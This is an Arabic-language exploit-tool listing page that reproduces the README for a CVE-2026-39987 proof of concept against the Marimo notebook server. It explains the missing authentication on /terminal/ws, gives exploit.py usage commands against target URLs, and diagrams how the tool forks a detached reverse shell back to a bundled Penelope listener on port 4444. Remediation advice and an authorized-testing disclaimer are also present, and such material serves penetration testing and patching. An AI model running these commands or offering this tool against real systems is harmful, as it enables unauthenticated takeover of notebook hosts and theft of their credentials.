Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-39987 — استغلال Marimo قبل الإصدار 0.23.0. ثغرة RCE قبل المصادقة عبر نقطة نهاية websocket: /terminal/ws. | Kitploit
أدوات/GitHubGitHub/gbuyssens/cve-2026-39987
توليد الحمولةالاستغلالاستغلال تطبيقات الويبما بعد الاستغلالاختبار الاختراقأداة الوصول عن بعد
GitHubgbuyssens/cve-2026-39987

CVE-2026-39987

استغلال Marimo قبل الإصدار 0.23.0. ثغرة RCE قبل المصادقة عبر نقطة نهاية websocket: /terminal/ws.

عرض المستودع
منذ 18 أياملم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-39987 — Marimo RCE بدون مصادقة (/terminal/ws)

root@kitploit:~
CVSS 4.0 : 9.3 CRITICAL
CVSS 3.x : 9.8 CRITICAL
CWE      : CWE-306 (Missing Authentication for Critical Function)
Fix      : Marimo 0.23.0+
Affects  : Marimo <= 0.20.4 (all builds prior to the auth fix)

تنفيذ تعليمات برمجية عن بُعد بدون مصادقة في Marimo، وهو خادم دفاتر ملاحظات تفاعلي بلغة Python.
اتصال WebSocket واحد غير مصادَق إلى /terminal/ws يمنح غلاف PTY تفاعليًا كاملًا بصلاحيات المستخدم الذي يشغّل عملية Marimo (غالبًا root في Docker).

للاستخدام المخبري / الاختبار المصرّح به فقط (HTB، CTF، مهمة بنطاق مكتوب).


جدول المحتويات

  • ملخص الثغرة
  • السبب الجذري
  • سلسلة الهجوم
  • الإصدارات المتأثرة
  • هذا المستودع
  • التثبيت
  • طريقة الاستخدام
  • التكامل مع Penelope
  • المعالجة
  • المراجع

ملخص الثغرة

يعرّض Marimo طرفية مدمجة عبر WebSocket على العنوان:

root@kitploit:~
ws://<host>:<port>/terminal/ws
wss://<host>/terminal/ws

مسارات WebSocket الأخرى (لا سيما /ws الخاص بواجهة دفتر الملاحظات) تستدعي validate_auth() بشكل صحيح.
/terminal/ws لا يفعل ذلك. فهو يتحقق فقط من:

  1. أن الخادم في وضع التحرير
  2. أن المنصة تدعم PTY

ثم يقوم فورًا بما يلي:

root@kitploit:~
await websocket.accept()
child_pid, fd = pty.fork()   # full system shell

لا يلزم أي ملف تعريف ارتباط (cookie) أو رمز مميز (token) أو كلمة مرور أو ترويسة Authorization — حتى عند تفعيل المصادقة على المثيل.

الأثر: تنفيذ أوامر عشوائية بدون مصادقة بصلاحيات عملية Marimo. في صور الحاويات الافتراضية، يكون هذا غالبًا بصلاحيات root.


السبب الجذري

الملف (الشجرة المعرّضة للثغرة): marimo/_server/api/endpoints/terminal.py

root@kitploit:~
@router.websocket("/ws")
async def websocket_endpoint(websocket: WebSocket) -> None:
    app_state = AppState(websocket)
    if app_state.mode != SessionMode.EDIT:
        await websocket.close(...)
        return
    if not supports_terminal():
        await websocket.close(...)
        return
    # <<< no validate_auth() / @requires("edit") >>>
    await websocket.accept()
    child_pid, fd = pty.fork()
    # ... bridge WebSocket <-> PTY ...

قارن ذلك مع WebSocket الخاص بدفتر الملاحظات (ws_endpoint.py)، الذي يفرض المصادقة:

root@kitploit:~
validator = WebSocketConnectionValidator(websocket, app_state)
if not await validator.validate_auth():
    return

سلسلة الهجوم

root@kitploit:~
 Attacker                         Marimo (edit mode)
    |                                    |
    |  WS upgrade /terminal/ws           |
    |----------------------------------->|
    |  101 Switching Protocols           |
    |  (no auth challenge)               |
    |<-----------------------------------|
    |                                    |  pty.fork() → /bin/bash
    |  "id\n"                            |
    |----------------------------------->|
    |  uid=1000(marimo) ...              |
    |<-----------------------------------|
    |  persistent reverse shell          |
    |----------------------------------->|
    |         <======== TCP shell =======|
  1. الاتصال بـ ws(s)://target/terminal/ws بدون بيانات اعتماد
  2. يقبل الخادم الاتصال وينشئ غلافًا مدعومًا بـ PTY
  3. أرسل ضغطات المفاتيح (الأوامر) عبر WebSocket
  4. اختياريًا، أنشئ غلافًا عكسيًا منفصلًا يبقى نشطًا بعد إنهاء اتصال WS

الإصدارات المتأثرة

الحالةالإصدارات
هشMarimo <= 0.20.4 (قبل الإصلاح)
مُصلَحMarimo 0.23.0 والإصدارات الأحدث

أي نشر يعرّض WebSocket الخاص بالطرفية (وضع التحرير، مع دعم PTY) دون بوابة مصادقة خارجية يقع ضمن نطاق الثغرة.


هذا المستودع

الملفالدور
exploit.pyإثبات المفهوم (PoC): تنفيذ أوامر + غلاف عكسي دائم + مشغّل Penelope
penelope.pyمعالج غلاف مستقل (brightio/penelope)
README.md

التثبيت

root@kitploit:~
git clone <this-repo> CVE-2026-39987
cd CVE-2026-39987
chmod +x exploit.py penelope.py

penelope.py لا يتطلب أي تبعيات إضافية (مكتبة Python 3.6+ القياسية).


طريقة الاستخدام

1. تنفيذ أمر لمرة واحدة

root@kitploit:~
python3 exploit.py https://example.lab "id"
python3 exploit.py https://example.lab  -p
python3 exploit.py wss://example.lab/terminal/ws "whoami"

ما يحدث:

  1. عملية فرعية (forked child) تنتظر لفترة وجيزة، ثم تُسلّم غلافًا عكسيًا منفصلًا عبر /terminal/ws
  2. العملية الأب تستبدل صورتها بـ Penelope على 0.0.0.0:4444
  3. عند وصول الاتصال الراجع (callback)، يلتقط Penelope الجلسة تلقائيًا ويُرقّيها

إذا لزم الأمر

root@kitploit:~
python3 exploit.py -h

التكامل مع Penelope

Penelope يُرفق كبرنامج مستقل (penelope.py):

  • بدون تثبيت، المكتبة القياسية فقط
  • معالج جلسات متعددة
  • ترقية تلقائية إلى TTY
  • رفع/تنزيل الملفات، تسجيل الأنشطة (logging)، إلخ.

التدفق الافتراضي (-p):

root@kitploit:~
exploit.py
   ├── fork child ──delay──► WS /terminal/ws ──► setsid/nohup revshell
   │
   └── exec ► penelope.py <PORT> -i 0.0.0.0
                    ▲
                    │ TCP callback
                    └── victim

تُستخدم العملية الفرعية عن قصد: os.execv(penelope) يستبدل صورة العملية الأب، وهو ما قد يقتل خيطًا خلفيًا.

تشغيل Penelope يدويًا:

root@kitploit:~
python3 penelope.py 4444
python3 penelope.py 4444 -i 0.0.0.0
python3 penelope.py -a          # show sample payloads for active listeners

المعالجة

  1. رقِّ إلى Marimo >= 0.23.0 (pip install -U marimo)
  2. لا تعرّض خوادم دفاتر الملاحظات في وضع التحرير للإنترنت العام
  3. ضع المصادقة/التفويض (authn/authz) عند بروكسي عكسي إذا كان التطبيق يجب أن يكون متاحًا عن بُعد
  4. اربط الخدمة بـ localhost / الشبكة الخاصة؛ واستخدم VPN أو أنفاق SSH
  5. بعد الاشتباه في حدوث استغلال: دَوِّر بيانات الاعتماد التي يمكن الوصول إليها من المضيف (مفاتيح السحابة، .env، مفاتيح SSH)، وراجع الاتصالات الصادرة ومواضع الثبات (persistence)

المراجع

  • NVD — CVE-2026-39987
  • GHSA-2679-6mx9-h9xc
  • إصلاح Marimo في PR #9098
  • تحليل Resecurity
  • معالج غلاف Penelope

إخلاء مسؤولية

هذا المشروع مخصص فقط للاختبارات الأمنية المصرّح بها والتعليم والبحث الدفاعي.
أنت مسؤول عن الامتثال للقوانين السارية وقواعد الاشتباك (rules of engagement) الخاصة بمختبرك أو عميلك.

تنزيل الأداة
هذا الملف